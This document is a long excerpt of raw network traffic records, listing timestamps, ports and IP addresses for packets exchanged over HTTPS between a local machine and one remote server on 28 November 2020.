Nov 28, 2020 10:31:08.126929998 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126948118 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126962900 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126966000 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.126980066 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.126996994 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127015114 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.127017975 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127019882 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.127043009 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127060890 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127070904 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.127078056 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127094984 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127109051 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127113104 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.127125978 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127140999 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127156973 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.127284050 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127301931 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127316952 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127331972 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.127334118 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127336979 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.127351046 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127370119 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.127372026 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127389908 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127407074 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127423048 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127423048 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.127425909 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.127439976 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127455950 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127473116 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127489090 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127506971 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127523899 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127525091 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.127531052 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.127542019 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127557039 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127572060 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127574921 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.127588034 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127604008 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127616882 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127620935 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.127759933 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127778053 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127780914 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.127785921 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.127794981 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127811909 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127827883 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127841949 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.127842903 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127863884 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127882004 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127883911 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.127903938 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127923965 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127933025 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.127937078 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.127944946 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127963066 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127979994 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.127990007 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.127996922 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128012896 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.128021955 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128038883 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128056049 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128057003 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.128072977 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128088951 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128108025 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.128110886 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128128052 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128144979 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128160000 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128164053 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.128180981 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128200054 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128206015 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.128210068 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.128216982 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128233910 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128248930 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.128249884 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128268003 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128283024 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128298998 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.128299952 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128320932 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128339052 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128354073 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128365040 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.128371000 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128387928 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128402948 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128402948 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.128418922 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128434896 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128451109 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.128454924 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128454924 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.128473997 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128489017 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128734112 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128751993 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128752947 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.128762960 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.128768921 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128784895 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128801107 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128808022 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.128817081 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128834009 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128849983 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.128850937 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128871918 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128889084 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128912926 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128912926 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.128935099 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128957033 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128957987 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.128979921 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.128999949 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.128999949 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129019976 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129036903 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129053116 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129054070 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.129057884 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.129070997 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129091024 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129107952 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129115105 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.129126072 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129143000 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129158974 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129168034 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.129177094 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129194021 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129210949 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.129210949 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129215956 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.129231930 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129250050 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129252911 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.129267931 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129283905 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129300117 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.129301071 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129317999 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129333973 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129349947 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129349947 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.129355907 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.129369974 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129400969 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.129406929 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129425049 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129441023 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129457951 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129457951 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.129462957 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.129476070 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129494905 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129512072 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.129698038 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129717112 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129733086 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129746914 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.129753113 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129770994 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129786015 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129790068 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.129792929 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.129802942 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129821062 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129836082 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.129837036 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129853964 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129869938 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129884005 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.129889011 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129908085 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129923105 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129937887 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.129939079 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129941940 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.129959106 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129975080 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.129987955 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.129991055 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130009890 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130028963 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130038977 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.130049944 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130068064 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130081892 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.130084991 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130103111 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130117893 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130131960 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.130134106 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130136013 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.130152941 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130172968 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130182028 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.130192995 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130208015 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130223036 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.130224943 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130243063 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130256891 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130271912 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.130273104 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130290031 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130309105 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130326033 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.130326986 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130343914 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130358934 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130373955 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.130374908 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130393028 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130409002 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130465031 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.130661011 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130677938 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.130681992 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130702019 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130717993 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130734921 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130738974 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.130752087 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130791903 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130805969 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.130810022 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.130812883 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130831957 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130847931 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130858898 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.130866051 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130883932 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130897999 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.130897999 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130917072 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130933046 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130945921 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.130949020 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.130951881 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130970001 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.130981922 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.131206989 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.131221056 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.142954111 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.142985106 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.143002033 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.143018961 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.143033981 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.143054962 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.143074036 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.143090010 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.143105984 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.143122911 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.143137932 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.143141031 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.143156052 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.143172979 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.143192053 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.143198013 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.143213034 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.143229008 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.143244028 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.143245935 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.143263102 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.143277884 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.143290997 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.143294096 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.143311024 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.143367052 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.143371105 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.144776106 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.144800901 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.144815922 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.144834042 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.144850969 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.144866943 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.144875050 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.144886017 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.144903898 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.144925117 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.144943953 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.144958973 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.144968987 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.144982100 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.144999981 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145016909 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145016909 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.145035982 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145054102 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.145065069 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145082951 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145097971 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145114899 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145116091 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.145121098 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.145132065 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145148993 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145163059 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.145164013 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145185947 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145203114 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145212889 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.145219088 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145236015 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145251989 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145268917 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145272017 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.145287037 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145303965 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145323992 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145342112 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.145343065 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145360947 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145376921 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145379066 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.145411968 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145432949 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145450115 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145450115 CET	49733	443	192.168.2.4	162.159.135.233
Nov 28, 2020 10:31:08.145467997 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145484924 CET	443	49733	162.159.135.233	192.168.2.4
Nov 28, 2020 10:31:08.145493984 CET	49733	443	192.168.2.4	162.159.135.233
